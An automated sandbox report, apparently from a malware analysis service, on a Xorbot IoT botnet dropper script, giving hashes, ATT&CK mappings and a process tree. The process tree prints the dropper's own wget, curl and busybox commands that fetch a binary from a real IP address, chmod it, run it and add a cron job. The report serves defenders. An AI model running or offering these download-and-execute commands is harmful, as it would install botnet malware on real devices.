xorbot | 3834d56135a19fc601d4252949bb011454c1828c90b6f3ba915162f80a4c26d2

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05/01/2025, 12:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

5f1add3f8fbab9fd93e013e59c20d522
SHA1

fbe2edefe96a086a75c63a4f9b623d3f93ae1609
SHA256

3834d56135a19fc601d4252949bb011454c1828c90b6f3ba915162f80a4c26d2
SHA512

4713f68752b19d07deb1f8cf3dcac70af440535d7bf5b39c870c692bdbfa3af879327748ac0b7ed7752f4083eff685217eb2d93184e4aa4eb77df5a9c1a53fad
SSDEEP

192:F7zrAUrvoJlryIlXE+EWEkEREdEHpOuhRE+EWEkEREdE+RJlryIlC7zrAUs:NvikpOuh73D

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1705) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
670	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD	671	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD

Renames itself 1 IoCs

pid	Process
672	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.mJEtci	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/17/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/629/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/763/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/948/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/1009/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/756/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/762/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/806/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/925/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/930/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/997/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/276/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/690/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/842/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/875/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/878/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/933/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/951/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/1013/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/791/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/835/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/1026/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/630/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/751/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/777/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/813/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/901/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/975/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/707/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/765/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/768/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/871/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/879/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/899/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/910/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/1036/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/6/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/41/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/278/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/769/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/892/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/920/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/974/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/1023/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/2/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/81/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/274/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/692/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/799/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/829/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/999/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/1025/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/1070/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/642/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/732/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/773/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/787/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/881/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/960/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/1007/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/9/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/760/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
File opened for reading	/proc/740/cmdline	Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD	wget
File opened for modification	/tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD	curl
File opened for modification	/tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:637
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:639
- /usr/bin/wget
  wget http://66.63.187.225/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  - Writes file to tmp directory
  PID:641
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:662
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  - Writes file to tmp directory
  PID:669
- /bin/chmod
  chmod 777 Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  - File and Directory Permissions Modification
  PID:670
- /tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  ./Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:671
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:673
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:674
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:677
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:678
- /bin/rm
  rm Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD
  2⤵
  PID:693
- /usr/bin/wget
  wget http://66.63.187.225/bins/CxvBhHWE44prIKWtI0ByBkjgjc5l5sHtkv
  2⤵
  PID:697

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/Dwz5tUVcGtvfGLxNxdCRvt2ZUC2IJiE5bD

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/var/spool/cron/crontabs/tmp.mJEtci

Filesize
210B

MD5
9c4826212044c9e77709ca2ba99b9939

SHA1
996b344035b8a03535facc3cda9dde76868a5cd5

SHA256
b06071eac9a7d0c90378f2973201d66c48b7ac3ef5518ca0e5d8ee59ee0217a9

SHA512
8083fa4540d14926e3e1cbfaed8d7e8cf7fd223fe2350f621f2424eb08166cf01640d9c9d6909b9f5969fba3c32706b19c16b9c783a33206c1b4a35a4870a339

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads